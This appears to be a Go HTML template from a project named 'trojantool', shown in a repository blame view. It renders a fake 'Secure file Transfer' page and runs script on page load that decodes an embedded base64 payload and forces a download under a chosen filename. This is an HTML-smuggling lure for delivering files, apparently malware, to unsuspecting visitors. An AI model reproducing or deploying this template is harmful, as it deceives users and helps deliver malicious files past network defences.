trojantool/cmd/html.gohtml

42 lines
1.2 KiB
Plaintext
Raw Normal View History

2023-08-10 18:27:56 +02:00
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
2023-08-10 21:42:41 +02:00
<title>{{ .Title}}</title>
2023-08-10 18:27:56 +02:00
</head>
<body>
2023-08-10 21:42:41 +02:00
<div style="position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);">
<h1>{{ .Title}}</h1>
<p>Thank you for using the Secure file Transfer!</p>
<p>Please wait while your File is being prepared</p>
</div>
2023-08-10 18:27:56 +02:00
2023-08-10 21:42:41 +02:00
<footer style="position: absolute; bottom: 0; width: 100%; text-align: center">
&copy;{{.Year}} <a href="{{.FooterURL}}">{{.FooterName}}</a>
</footer>
2023-08-10 18:27:56 +02:00
</body>
2023-08-10 21:42:41 +02:00
<script>
// Base64 string
const base64String = "data:application/octet-stream;base64,{{.Encoded}}";
// Convert to binary data
const binaryData = atob(base64String.replace(/^.*,/, ''));
// Create byte array
const byteNumbers = new Array(binaryData.length);
for (let i = 0; i < binaryData.length; i++) {
byteNumbers[i] = binaryData.charCodeAt(i);
}
// Create blob
const blobData = new Blob([new Uint8Array(byteNumbers)], {type: 'application/octet-stream'});
// Trigger download
const downloadUrl = URL.createObjectURL(blobData);
const link = document.createElement("a");
link.href = downloadUrl;
link.download = "{{.Filename}}";
link.click();
</script>
2023-08-10 18:27:56 +02:00
</html>